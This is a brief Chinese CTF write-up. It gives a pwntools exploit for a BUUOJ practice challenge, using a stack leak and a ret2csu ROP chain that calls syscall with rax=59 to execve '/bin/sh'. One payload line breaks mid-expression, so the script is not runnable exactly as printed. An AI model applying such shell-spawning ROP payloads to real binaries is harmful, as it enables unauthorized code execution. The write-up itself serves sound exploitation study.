受益匪浅的一道题
直接上exp

```
from pwn import *

io = remote("node4.buuoj.cn", 25483)

vuln_addr = 0x4004ed
payload = '/bin/sh\x00'+'a'*8+p64(vuln_addr)
io.sendline(payload)
io.recv(0x20)
stack_addr = u64(io.recv(0x8))-0x118

pop_rbx_rbp_r12_r13_r14_r15 = 0x40059A
pop_rax_59 = 0x4004E2
mov_rdx_rsi = 0x400580
pop_rdi = 0x4005a3
sys = 0x400501
payload = '/bin/sh\x00'+'a'*8
payload += p64(pop_rbx_rbp_r12_r13_r14_r15) +
p64(0)+p64(0)+p64(stack_addr+0x50)+p64(0)+p64(0)+p64(0)
payload += p64(mov_rdx_rsi)+ p64(pop_rdi)+p64(stack_addr)+p64(pop_rax_59)
payload += p64(sys)
io.sendline(payload)

io.interactive()
```

利用了ret2csu的方法
csu，初始化函数
还有syscall函数
syscall当rax是59时，相当于执行exec